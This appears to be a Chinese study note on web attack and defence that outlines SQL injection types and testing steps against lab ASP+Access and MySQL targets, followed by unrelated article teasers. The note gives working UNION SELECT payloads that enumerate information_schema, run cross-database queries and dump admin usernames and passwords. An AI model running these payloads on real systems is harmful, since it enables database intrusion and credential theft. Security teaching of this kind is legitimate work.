网络安全之攻防笔记--web安全攻防

ops/2025/2/13 15:52:37/
  • 通用漏洞SQL
    • SQL注入
      • 针对数据库的攻击手法,通过在输入字段中插入恶意的SQL代码,改变或破坏原本预期的SQL注入查询
        • 基于注入参数类型
          • 数字型注入、字符型注入
        • 基于请求提交方式
          • GET注入、POST注入
        • 基于获取信息方式
          • 有回显的注入
            • 联合查询注入、基于报错注入
          • 无回显注入
            • 基于布尔盲注、基于时间盲注
        • 其他类型注入
          • 堆叠注入、二次注入、宽字节注入
      • SQL注入漏洞运行原理
        • 脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面展示),将定义的SQL语句能通过参数自定义值来实现控制SQL语句,可执行恶意SQL语句,也可查询其他数据
      • 漏洞产生根本条件
        • 可控变量&特定函数
          • http://192.168.46.160:85/Production/PRODUCT.asp http://192.168.46.160:85/Production/PRODUCT.asp?id=1513
          • 如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
          • http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1 http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513
          • Production/PRODUCT.asp?id=1513 注入语句&page=1 对 Production/PRODUCT.asp?id=1513&page=1 注入语句 错
            • 注意是id
      • SQL注入攻击流程
        • 1、猜测数据库类型
        • 2、根据类型选择思路
    • 数据库
      • ACCESS
        • 独立存在
          • 数据库名
            • 表名
              • 列名
                • 数据
        • #ASP+Access-简易注入-字典猜解
          • 由于 Access 数据库特性导致这个 SQL 注入是需要借助字典去猜解表名和列名的,那么就会出现表名
          • 或列名猜解不到,可以自定义社工字典或采用偏移注入!
        • #ASP+Access-偏移注入-报错显示
          • 偏移注入就是解决表名已知,列名未知的情况!
      • MySQL
        • 统一管理
          • 最高数据库用户=root用户
            • 数据库A=网站A=数据库用户A
              • 表名
                • 列名
                  • 数据
            • 数据库B=网站B=数据库用户B
            • 数据库C=网站C=数据库用户C
        • 为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行
        • MySQL两种思路
          • 1、非root的注入攻击:常规类的猜解
          • 2、root用户的注入攻击:文件读写操作,跨库查询注入等
        • 黑盒测试中可以采用 user()获取当前用户权限,白盒中看连接用户即可!
          • select * from product where id=1513
        • 查询admin表名
          • UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
        • 查询 admin 表名下的 admin 等列名
          • UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
        • MYSQL5.0 以上版本:自带的数据库名 information_schema
          • information_schema:存储数据库下的数据库名及表名,列名信息的数据库
          • information_schema.tables:记录表名信息的表
          • information_schema.columns:记录列名信息表
          • information_schema.tables
        • 获取相关数据
          • 1、数据库版本-看是否符合 information_schema 查询-version()-5.5.532
          • 2、数据库用户-看是否符合 ROOT 型注入攻击-user()-root@localhost
          • 3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os-win
          • 4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()-syguestbook
        • ROOT类型攻击 -猜解数据,文件读写,跨库查询
          • 获取 syguestbook 数据库下面的表名信息:
            • UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
            • table_schema='syguestbook'
          • 获取表名 sy_adminuser 的列名信息:
            • UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
            • where table_name='sy_adminuser' and table_schema='syguestbook'
          • 获取指定数据:
            • UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
        • 跨库注入:
          • 实现当前网站跨库查询其他数据库对应网站的数据
          • 获取当前 mysql 下的所有数据库名
            • UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
          • 获取数据库名 xhcms 下的表名信息
            • UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
            • table_schema='xhcms'
          • 获取数据库名 xhcms 下的表 manage 下的列名信息:
            • UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
            • where table_name='manage' and table_schema='xhcms'
          • 获取指定数据:
            • UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

http://www.ppmy.cn/ops/158077.html

相关文章

Redis存储⑥Redis五大数据类型之 Zset

目录 1. Zset 有序集合 1.1 Zset 有序集合常见命令 zadd zcard zcount zrange zrevrange zrangebyscore(弃用) zpopmax bzpopmax zpopmin bzpopmin zrank zrevrank zscore zrem zremrangebyrank zremrangebyscore zincrby 1.2 Zset有…

青少年编程与数学 02-009 Django 5 Web 编程 06课题、模型定义

青少年编程与数学 02-009 Django 5 Web 编程 06课题、模型定义 一、模型二、定义模型1. 导入模型类2. 定义模型类3. 定义字段4. 添加元数据(可选)5. 定义模型方法(可选)6. 迁移模型 三、模型字段字符字段数字字段日期和时间字段布…

《探秘AI绿色计算:降低人工智能硬件能耗的热点技术》

在人工智能飞速发展的当下,其硬件能耗问题愈发凸显。据国际能源署预测,人工智能的能源消耗可能大幅增长。因此,降低人工智能硬件能耗,实现绿色计算,已成为行业关键课题。以下是一些正在崭露头角的热点技术。 新型硬件…

Linux之kernel(1)系统基础理论(2)

Linux之Kernel(1)系统基础理论(2) Author: Once Day Date: 2025年2月10日 一位热衷于Linux学习和开发的菜鸟,试图谱写一场冒险之旅,也许终点只是一场白日梦… 漫漫长路,有人对你微笑过嘛… 全系列文章可参考专栏: Linux内核知识_Once-Day的…

爬虫抓取过程的详细步骤

1. 目标网站分析 在开始编写爬虫之前,首先需要对目标网站进行详细的分析。这一步是整个爬虫开发过程中非常重要的环节,因为它直接决定了爬虫的效率和成功率。 确定目标数据:明确你想要抓取的数据,例如商品名称、价格、描述、图片…

HCIA项目实践--RIP相关原理知识面试问题总结回答

9.4 RIP 9.4.1 补充概念 什么是邻居? 邻居指的是在网络拓扑结构中与某一节点(如路由器)直接相连的其他节点。它们之间可以直接进行通信和数据交互,能互相交换路由信息等,以实现网络中的数据转发和路径选择等功能。&am…

使用 npx tailwindcss init 时发生 npm error could not determine executable to run 错误

介绍 当我尝试将 TailwindCSS 引入 React 时出现了错误,因此我写了一篇有关它的文章。 问题 当我像以前一样运行安装命令时,出现错误。 解决 比以往更加简单 $ npm install -D tailwindcss3.4.13 autoprefixer postcss $ npx tailwindcss init -p…

【DeepSeek】在本地计算机上部署DeepSeek-R1大模型实战(完整版)

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈人工智能与大模型应用 ⌋ ⌋ ⌋ 人工智能(AI)通过算法模拟人类智能,利用机器学习、深度学习等技术驱动医疗、金融等领域的智能化。大模型是千亿参数的深度神经网络(如ChatGPT&…